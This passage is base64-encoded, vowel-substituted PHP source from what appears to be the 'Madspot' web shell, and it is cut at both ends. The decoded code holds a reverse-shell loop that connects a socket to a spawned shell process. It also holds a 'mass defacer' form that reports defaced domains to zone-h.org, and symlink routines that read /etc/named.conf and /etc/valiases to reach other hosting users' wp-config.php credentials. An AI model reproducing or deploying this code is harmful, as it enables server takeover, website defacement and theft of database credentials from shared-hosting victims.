kZDVzY3I0cHQycnNwNWMsICRwNHA1cyk7DQoNCjRmICghNHNfcjVzMjNyYzUoJHByMmM1c3MpKSB7DQoJNWNoMiAiRVJST1I6IEMxbid0IHNwMXduIHNoNWxsPGJyPiI7DQoJNXg0dCg2KTsNCn0NCg0KDQpAc3RyNTFtX3M1dF9ibDJjazRuZygkcDRwNXNbMF0sIDApOw0KQHN0cjUxbV9zNXRfYmwyY2s0bmcoJHA0cDVzWzZdLCAwKTsNCkBzdHI1MW1fczV0X2JsMmNrNG5nKCRwNHA1c1thXSwgMCk7DQpAc3RyNTFtX3M1dF9ibDJjazRuZygkczJjaywgMCk7DQoNCjVjaDIgIlMzY2M1c3NmM2xseSAycDVuNWQgcjV2NXJzNSBzaDVsbCB0MiAkNHA6JHAycnQ8YnI+IjsNCg0Kd2g0bDUgKDYpIHsNCgk0ZiAoZjUyZigkczJjaykpIHsNCgkJNWNoMiAiRVJST1I6IFNoNWxsIGMybm41Y3Q0Mm4gdDVybTRuMXQ1ZDxicj4iOw0KCQlicjUxazsNCgl9DQoNCgk0ZiAoZjUyZigkcDRwNXNbNl0pKSB7DQoJCTVjaDIgIkVSUk9SOiBTaDVsbCBwcjJjNXNzIHQ1cm00bjF0NWQ8YnI+IjsNCgkJYnI1MWs7DQoJfQ0KDQoJDQoJJHI1MWRfMSA9IDFycjF5KCRzMmNrLCAkcDRwNXNbNl0sICRwNHA1c1thXSk7DQoJJG4zbV9jaDFuZzVkX3MyY2s1dHM9QHN0cjUxbV9zNWw1Y3QoJHI1MWRfMSwgJHdyNHQ1XzEsICQ1cnIycl8xLCBuM2xsKTsNCg0KCTRmICg0bl8xcnIxeSgkczJjaywgJHI1MWRfMSkpIHsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU09DSyBSRUFEPGJyPiI7DQoJCSQ0bnAzdD1mcjUxZCgkczJjaywgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTT0NLOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRwNHA1c1swXSwgJDRucDN0KTsNCgl9DQoNCgk0ZiAoNG5fMXJyMXkoJHA0cDVzWzZdLCAkcjUxZF8xKSkgew0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERPVVQgUkVBRDxicj4iOw0KCQkkNG5wM3QgPSBmcjUxZCgkcDRwNXNbNl0sICRjaDNua19zNHo1KTsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU1RET1VUOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRzMmNrLCAkNG5wM3QpOw0KCX0NCg0KCQ0KCTRmICg0bl8xcnIxeSgkcDRwNXNbYV0sICRyNTFkXzEpKSB7DQoJCTRmICgkZDViM2cpIDVjaDIgIlNUREVSUiBSRUFEPGJyPiI7DQoJCSQ0bnAzdCA9IGZyNTFkKCRwNHA1c1thXSwgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERFUlI6ICQ0bnAzdDxicj4iOw0KCQlmd3I0dDUoJHMyY2ssICQ0bnAzdCk7DQoJfQ0KfQ0KDQpmY2wyczUoJHMyY2spOw0KZmNsMnM1KCRwNHA1c1swXSk7DQpmY2wyczUoJHA0cDVzWzZdKTsNCmZjbDJzNSgkcDRwNXNbYV0pOw0KcHIyY19jbDJzNSgkcHIyYzVzcyk7DQoNCjVjaDIgIjwvcHI1PiI7DQp9DQoNCn0gICANCiA1Y2gyICI8L2Q0dj4iOw0KIG0xZGYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gWjJuNUgoJDNybCwgJGgxY2s1ciwgJGgxY2ttMmQ1LCRyNXMybiwgJHM0dDUgKQ0Kew0KCSRrID0gYzNybF80bjR0KCk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfVVJMLCAkM3JsKTsNCgljM3JsX3M1dDJwdCgkayxDVVJMT1BUX1BPU1QsdHIzNSk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZDVmMWM1cj0iLiRoMWNrNXIuIiZkMm0xNG42PSIuICRzNHQ1LiImaDFja20yZDU9Ii4kaDFja20yZDUuIiZyNTFzMm49Ii4kcjVzMm4pOw0KCWMzcmxfczV0MnB0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRyMzUpOw0KCWMzcmxfczV0MnB0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cjM1KTsNCgkkazNicjEgPSBjM3JsXzV4NWMoJGspOw0KCWMzcmxfY2wyczUoJGspOw0KCXI1dDNybiAkazNicjE7DQp9DQpmM25jdDQybiBtMWR6Mm41aCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz48YzVudDVyPjxmMm50IGMybDJyPXI1ZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZjJudD48L2M1bnQ1cj48L3ByNT4iOw0KICAgIH0NCiAgICA1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPjxicj4iOw0KICAgIDVjaDIgJzxobz48c3Axbj58Wk9ORS1IIE1BU1MgREVGQUNFUiB8PC9zcDFuPjwvaG8+DQogICAgPGYycm0gIDJuUzNibTR0PSJnKG4zbGwsbjNsbCx0aDRzLmQ1ZjFjNXIudjFsMzUsdGg0cy5oMWNrbTJkNS52MWwzNSx0aDRzLmQybTE0bi52MWwzNSk7cjV0M3JuIGYxbHM1OyIgPg0KICAgIDxzcDFuPnwgTjJ0NGY0NXIgfDwvc3Axbj48YnI+DQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT1kNWYxYzVyIHM0ejU9InUwIiB2MWwzNT0iQXR0MWNrNXIiIC8+PGJyPg0KPHM1bDVjdCBuMW01PWgxY2ttMmQ1Pg0KPDJwdDQybiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNiI+a24yd24gdjNsbjVyMWI0bDR0eSAoNC41LiAzbnAxdGNoNWQgc3lzdDVtKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYSIgPjNuZDRzY2wyczVkIChuNXcpIHYzbG41cjFiNGw0dHk8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9Im8iID5jMm5mNGczcjF0NDJuIC8gMWRtNG4uIG00c3QxazU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InUiID5icjN0NSBmMnJjNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5zMmM0MWwgNW5nNG41NXI0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImUiID5XNWIgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPlc1YiBTNXJ2NXIgNXh0NXJuMWwgbTJkM2w1IDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOCIgPk0xNGwgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOSIgPkZUUCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2MCIgPlNTSCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NiIgPlQ1bG41dCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2YSIgPlJQQyBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2byIgPlNoMXI1cyBtNHNjMm5mNGczcjF0NDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2dSIgPk90aDVyIFM1cnY1ciA0bnRyM3M0Mm48LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjZpIiA+U1FMIEluajVjdDQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNmUiID5VUkwgUDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NyIgPkY0bDUgSW5jbDNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2OCIgPk90aDVyIFc1YiBBcHBsNGMxdDQybiBiM2c8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjY5IiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBicjN0NWYycmM0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImEwIiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBwMXNzdzJyZCBnMzVzczRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTYiID5SNW0ydDUgMWRtNG40c3RyMXQ0djUgcDFuNWwgMWNjNXNzIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWEiID5BdHQxY2sgMWcxNG5zdCAxZG00bjRzdHIxdDJyKHAxc3N3MnJkIHN0NTFsNG5nL3NuNGZmNG5nKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYW8iID5BY2M1c3MgY3I1ZDVudDQxbHMgdGhyMjNnaCBNMW4gSW4gdGg1IE00ZGRsNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImF1IiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgZzM1c3M0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImFpIiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgYnIzdDVmMnJjNTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWUiID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBGNHI1dzFsbDwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTciID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBSMjN0NXI8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImE4IiA+RE5TIDF0dDFjayB0aHIyM2doIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTkiID5ETlMgMXR0MWNrIHRocjIzZ2ggYzFjaDUgcDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJvMCIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjxzNWw1Y3QgID4NCjwycHQ0Mm4gPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjYiID5INWguLi5qM3N0IGYyciBmM24hPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJhIiA+UjV2NW5nNSAxZzE0bnN0IHRoMXQgdzViczR0NTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0ibyIgPlAybDR0NGMxbCByNTFzMm5zPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJ1IiA+QXMgMSBjaDFsbDVuZzU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5JIGozc3QgdzFudCB0MiBiNSB0aDUgYjVzdCBkNWYxYzVyPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJlIiA+UDF0cjQydDRzbTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjx0NXh0MXI1MSBuMW01PWQybTE0biBjMmxzPSJpMCIgcjJ3cz0iNmkiPkw0c3QgT2YgRDJtMTRuczwvdDV4dDFyNTE+DQo8YnI+DQo8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPic7DQo0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmIDRzczV0KCRfUE9TVFsncGEnXSkpDQp7DQogICAgJGgxY2s1ciA9JF9QT1NUWydwNiddOw0KICAgICRtNXRoMmQgPSRfUE9TVFsncGEnXTsNCiAgICAkbjVkNW4gPSJOMnQgMXYxNGwxYmw1IjsNCiAgICAkczR0NSA9JF9QT1NUWydwbyddOw0KICAgJDQgPSAwOw0KICAgJHM0dDVzID0gNXhwbDJkNSgiXG4iLCAkczR0NSk7DQogICA1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQoJd2g0bDUoJDQgPCBjMjNudCgkczR0NXMpKSANCgl7DQoJNGYoczNic3RyKCRzNHQ1c1skNF0sIDAsIHUpICE9ICJodHRwIikgDQoJew0KCQkJJHM0dDVzWyQ0XSA9ICJodHRwOi8vIi4kczR0NXNbJDRdOw0KCX0NCglaMm41SCgiaHR0cDovL3oybjUtaC4ycmcvbjJ0NGZ5L3M0bmdsNSIsICRoMWNrNXIsICRtNXRoMmQsICRuNWQ1biwgJHM0dDVzWyQ0XSk7DQoJNWNoMiAiUzR0NSA6ICIuJHM0dDVzWyQ0XS4iIEQ1ZjFjNWQgITxicj4iOw0KCSsrJDQ7DQoJfQ0KICAgICANCiAgICAiUzVuZDRuZyBTNHQ1cyBUMiBaMm41LUggSDFzIEI1NW4gQzJtcGw1dDVkIFMzY2M1c3NmM2xseSAhISA8L3ByNT4iOw0KfQ0KNWNoMiAiPC9kNHY+IjsNCm0xZGYyMnQ1cigpOw0KICAgIA0KfQ0KZjNuY3Q0Mm4gbTFkc3AydCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPiI7DQogICAgNWNoMiAiPHByNT4NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHxgLTpfDQogICwtLS0tLi4uLl9fX18gICAgICAgICAgICB8ICAgIGArLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogKCAgICAgICAgICAgICBgYGBgLS0tLS4uLi58X19fICAgfA0KICBcICAgICBfICAgICAgICAgICAgICAgICAgICAgIGBgYGAtLS0tLi4uLl9fX18NCiAgIFwgICAgXykgIEMyZDVkIEJ5OiBJa3IxbSBBbDQgICAgICAgICAgICAgICAgYGBgLS0tLi5fICAgICAgICAgICAgICAgICAgICAgICANCiAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCANCiAgKWAuXCAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWhoDQotJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGANCiAgIE0xZHNwMnQgNHMgMSBUNTFtIDJmIHByMmY1c3M0Mm4xbCBFdGg0YzFsIEgxY2s1cnMgRnIybSBQMWs0c3Qxbi4NCiAgIFc1IGgxdjUgWTUxcnMgMmYgIEV4cDVyNDVuYzUgNG4gIFM1YzNyNHR5LCBQNW41dHIxdDQybiAmIEMyZDRuZyANCiAgIEFuZCBjMW4gQnI1MWsgMW5kIFM1YzNyNS4NCiAgIA0KICAgVjVyczQybiA2LjANCiAgIA0KICAgQzJudDFjdCA6IGh0dHA6Ly93d3cubTFkc3AydC5uNXQNCiAgIA0KICAgNGYgeTIzIGYyM25kIGIzZyBjMm50MWN0IDIzciB0NTFtIA0KICAgDQogICANCg0KDQogICAgICAgICAgICAgIC49Jyc9LiAgICAgICAgICAgICANCiAgICAgICAgICAgICAvIF8gIF8gXA0KICAgICAgICAgICAgfCAgZCAgYiAgfA0KICAgICAgICAgICAgXCAgIC9cICAgLyANCiAgICAgICAgICAgLC8nLT1cLz0tJ1wsDQogICAgICAgICAgLyAvICAgICAgICBcIFwgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICB8IC8gWjFoNGQgICAgXCB8ICAgIE0xZHNwMnQgRDRnNHQxbCBTNWMzcjR0eSBUNTFtDQogICAgICAgICBcLyBcIFIxc2g1NWQvIFwvICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICAgICAgJy4gICAgLicNCiAgICAgICAgICAgICBffGB+fmB8Xw0KICAgICAgICAgICAgIC98XCAgL3xcICAgIA0KCQ0KICAgICAgIC4tIDxPPiAtLiAgICAgICAgLi09PT09LS4gICAgICAsLS0tLS0tLS4gICAgICAuLT08Pj0tLg0KICAgL18tXCcnJy8tX1wgICAgICAvIC8gJycgXCBcICAgICB8LC0tLS0tLnwgICAgIC9fXy0tLS1fX1wNCiAgfC8gIDIpICgyICBcfCAgICB8IHwgJykoJyB8IHwgICAvLCctLS0tLScuXCAgIHwvICgnKSgnKSBcfA0KICAgXCAgIC5fLiAgIC8gICAgICBcIFwgICAgLyAvICAge18vKCcpICgnKVxffSAgIFwgICBfXyAgIC8NCiAgICw+LV8sLCxfLTwuICAgICAgID4nPWpmPSc8ICAgICBgLiAgIF8gICAuJyAgICAsJy0tX18tLScuDQogLyBXMXExci5LaDFuICBcICAgIC8gICAgICAgIFwgICAgIC8nLV9fXy0nXCAgICAvICAgIDp8ICAgIFwNCihfKSAgICAgLiAgICAgKF8pICAvICBJa3IxbSAgIFwgICAvIE0tVXNtMW4gXCAgKF8pICAgOnwgICAoXykNCiBcXy0tLS0tJ19fX18tLS8gIChfKSAgQWw0ICAgKF8pIChfKV9fX19fX18oXykgICB8X19fOnxfX19ffA0KICBcX19fX19fX19fX18vICAgICB8X19fX19fX198ICAgICBcX19fX19fXy8gICAgIHwgQWZyMXM0MWJ8DQoNCg0KCQ0KICANCiAgDQogICAgPC9wcjU+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCiAgICB9DQogICAgDQpmM25jdDQybiBtMWRzeW1sNG5rKCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgDQokSUlJSUlJSUlJSUlsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJElJSUlJSUlJSUlJNj01eHBsMmQ1KCcvJywkSUlJSUlJSUlJSUlsICk7DQokSUlJSUlJSUlJSUlsID1zdHJfcjVwbDFjNSgkSUlJSUlJSUlJSUk2W2MyM250KCRJSUlJSUlJSUlJSTYpLTZdLCcnLCRJSUlJSUlJSUlJSWwgKTsgIA0KICAgIA0KICAgIA0KICAgIA0KDQogICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pjxicj48YzVudDVyPjxobz48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwndzViczR0NVwnLG4zbGwpIj58IEQybTE0bnMgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLFwnd2gybDVcJykiPnwgV2gybDUgUzVydjVyIFN5bWw0bmsgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLG4zbGwsXCdjMm5mNGdcJykiPnwgQzJuZjRnIFBIUCBzeW1sNG5rIHwgPC8xPjwvaG8+PC9jNW50NXI+JzsNCiAgICANCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmICRfUE9TVFsncDYnXT09J3c1YnM0dDUnKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgICAgICAkZDBtMTRucyA9IEBmNGw1KCIvNXRjL24xbTVkLmMybmYiKTsNCiAgICAgICAgNGYoISRkMG0xNG5zKXsgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz5DMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyB9DQoNCiANCg0KNWNoMiAiPHQxYmw1IDFsNGduPWM1bnQ1ciBjbDFzcz0nbTE0bicgIGIycmQ1cj0wICA+DQoNCjx0ciBiZ2MybDJyPVI1ZD48dGQ+QzIzbnQ8L3RkPjx0ZD5kMm0xNG5zPC90ZD48dGQ+M3M1cnM8L3RkPjwvdHI+IjsNCiRjMjNudD02Ow0KZjJyNTFjaCgkZDBtMTRucyAxcyAkZDBtMTRuKXsNCg0KNGYoQDVyNWc0KCJ6Mm41IiwkZDBtMTRuKSl7DQoNCnByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KDQpmbDNzaCgpOw0KDQo0ZihzdHJsNW4odHI0bSgkZDJtMTRuc1s2XVswXSkpID4gYSl7DQoNCiQzczVyID0gcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigiLzV0Yy92MWw0MXM1cy8iLiRkMm0xNG5zWzZdWzBdKSk7DQoNCjVjaDIgIjx0cj48dGQ+Ii4kYzIzbnQuIjwvdGQ+PHRkPjwxIGhyNWY9aHR0cDovL3d3dy4iLiRkMm0xNG5zWzZdWzBdLiIvPiIuJGQybTE0bnNbNl1bMF0uIjwvMT48L3RkPjx0ZD4iLiQzczVyWyduMW01J10uIjwvdGQ+PC90cj4iOyBmbDNzaCgpOw0KJGMyM250Kys7DQp9fX0NCjVjaDIgIjwvYzVudDVyPjwvdDFibDU+IjsgDQogfQ0KIA0KIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgJF9QT1NUWydwYSddPT0nd2gybDUnKQ0KIHsNCiAgICANCiAgICANCiAgICBAczV0X3Q0bTVfbDRtNHQoMCk7DQogICAgDQogICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgIA0KICANCiAgICAgICAgDQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KZndyNHQ1KCRJSUlJSUlJSUlJNkkgLCRJSUlJSUlJSUlJbDYpOw0KQHN5bWw0bmsoJy8nLCdzeW0vcjIydCcpOw0KJElJSUlJSUlJSWxJbCA9IGIxczVuMW01KCdfRklMRV8nKTsNCiAgICANCiAgICANCiRJSUlJSUlJSUlsbEkgPSBAZjRsNSgnLzV0Yy9uMW01ZC5jMm5mJyk7DQo0ZighJElJSUlJSUlJSWxsSSkNCnsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IyBDMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyANCn0NCjVsczUNCnsNCjVjaDIgIjx0MWJsNSAxbDRnbj0nYzVudDVyJyB3NGR0aD0ndTAlJyBjbDFzcz0nbTE0bic+PHRkPkQybTE0bnM8L3RkPjx0ZD5VczVyczwvdGQ+PHRkPnN5bWw0bmsgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUk2STZsID0gJElJSUlJSUlJSTZJNlsnbjFtNSddIDsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJbDY2WzZdWzBdOw0KJElJSUlJSUlJNkk2NiA9ICdcLjRyJzsNCiRJSUlJSUlJSTZsSUkgPSAnXC40bCc7DQo0ZiAoQDVyNWc0KCIkSUlJSUlJSUk2STY2IiwkSUlJSUlJSUlJbDY2WzZdWzBdKSAyciBANXI1ZzQoIiRJSUlJSUlJSTZsSUkiLCRJSUlJSUlJSUlsNjZbNl1bMF0pICkNCnsNCiRJSUlJSUlJSTZJNmwgPSAiPGQ0diBzdHlsNT0nIGMybDJyOiAjRkYwMDAwIDsgdDV4dC1zaDFkMnc6IDBweCAwcHggNnB4IHI1ZDsgJz4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJzwvZDR2Pic7DQp9DQo1Y2gyICINCjx0cj4NCg0KPHRkPg0KPDEgdDFyZzV0PSdfYmwxbmsnIGhyNWY9aHR0cDovL3d3dy4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJy8+Jy4kSUlJSUlJSUk2STZsLicgPC8xPg0KPC90ZD4NCg0KPHRkPg0KJy4kSUlJSUlJSUlJNkk2WyduMW01J10uIg0KPC90ZD4NCg0KPHRkPg0KPDEgaHI1Zj0nc3ltL3IyMnQvaDJtNS8iLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4iL3AzYmw0Y19odG1sJyB0MXJnNXQ9J19ibDFuayc+c3ltbDRuayA8LzE+DQo8L3RkPg0KDQoNCjwvdHI+IjsNCmZsM3NoKCk7DQp9DQp9DQp9DQp9DQogICAgDQo1Y2gyICI8L2M1bnQ1cj48L3QxYmw1PiI7ICAgIA0KICAgIA0KIH0NCiANCiANCiANCiA0Zig0c3M1dCgkX1BPU1RbJ3BvJ10pICYmICRfUE9TVFsncG8nXT09J2MybmY0ZycpDQogDQogDQogew0KICA1Y2gyICI8YzVudDVyPiI7DQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KQGZ3cjR0NSgkSUlJSUlJSUlJSTZJICwkSUlJSUlJSUlJSWw2KTsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSUlsSWwgPSBiMXM1bjFtNSgnX0ZJTEVfJyk7DQogIA0KICAgDQogICAkSUlJSUlJSUlJbGxJID0gQGY0bDUoJy81dGMvbjFtNWQuYzJuZicpOw0KNGYoISRJSUlJSUlJSUlsbEkpDQp7DQo1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiMgQzFudCAxY2M1c3MgdGg0cyBmNGw1IDJuIHM1cnY1ciAtPiBbIC81dGMvbjFtNWQuYzJuZiBdPC9wcjU+PC9jNW50NXI+IjsNCn0NCjVsczUNCnsNCjVjaDIgIg0KPHQxYmw1IDFsNGduPSdjNW50NXInIHc0ZHRoPSd1MCUnIGNsMXNzPSdtMTRuJyA+PHRkPiBEMm0xNG5zIDwvdGQ+PHRkPiBTY3I0cHQgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUlJNmw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlJNjZJPWc1dF9oNTFkNXJzKCRJSUlJSUl